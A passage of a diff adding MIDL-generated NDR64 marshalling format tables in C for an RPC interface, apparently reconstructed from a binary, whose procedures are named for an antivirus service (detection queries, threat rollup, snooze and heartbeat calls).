struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2364, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1061_t __midl_frag1061 = +{ +/* Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ + { + /* Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ /* procedure Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1055_t __midl_frag1055 = +{ +/* Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ + { + /* Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ /* procedure Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1051_t __midl_frag1051 = +{ +/* Struct_2680_t */ + { + /* Struct_2680_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2680_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_2672_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1050_t __midl_frag1050 = +{ +/* *Struct_2680_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1051 +}; + +static const __midl_frag1049_t __midl_frag1049 = +{ +/* Proc109_ServerMpRpcOfflineScanStatusQuery */ + { + /* Proc109_ServerMpRpcOfflineScanStatusQuery */ /* procedure Proc109_ServerMpRpcOfflineScanStatusQuery */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1051, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1040_t __midl_frag1040 = +{ +/* Proc107_ServerMpRpcRequestSnooze */ + { + /* Proc107_ServerMpRpcRequestSnooze */ /* procedure Proc107_ServerMpRpcRequestSnooze */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1035_t __midl_frag1035 = +{ +/* **Struct_1232_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1100 +}; + +static const __midl_frag1032_t __midl_frag1032 = +{ +/* Proc106_ServerMpDetectionQuery */ + { + /* Proc106_ServerMpDetectionQuery */ /* procedure Proc106_ServerMpDetectionQuery */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 108 /* 0x6c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1035, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1028_t __midl_frag1028 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1025 + } +}; + +static const __midl_frag1026_t __midl_frag1026 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag1025_t __midl_frag1025 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1026 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag1023_t __midl_frag1023 = +{ +/* Struct_2640_t */ + { + /* Struct_2640_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2640_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag1028, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1022_t __midl_frag1022 = +{ +/* *Struct_2640_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1023 +}; + +static const __midl_frag1021_t __midl_frag1021 = +{ +/* **Struct_2640_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1022 +}; + +static const __midl_frag1018_t __midl_frag1018 = +{ +/* Proc105_ServerMpRpcThreatRollup */ + { + /* Proc105_ServerMpRpcThreatRollup */ /* procedure Proc105_ServerMpRpcThreatRollup */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1021, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1014_t __midl_frag1014 = +{ +/* *Struct_970_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag52 +}; + +static const __midl_frag1012_t __midl_frag1012 = +{ +/* Proc104_ServerMpRpcDbgSendCallbackNotification */ + { + /* Proc104_ServerMpRpcDbgSendCallbackNotification */ /* procedure Proc104_ServerMpRpcDbgSendCallbackNotification */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag52, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 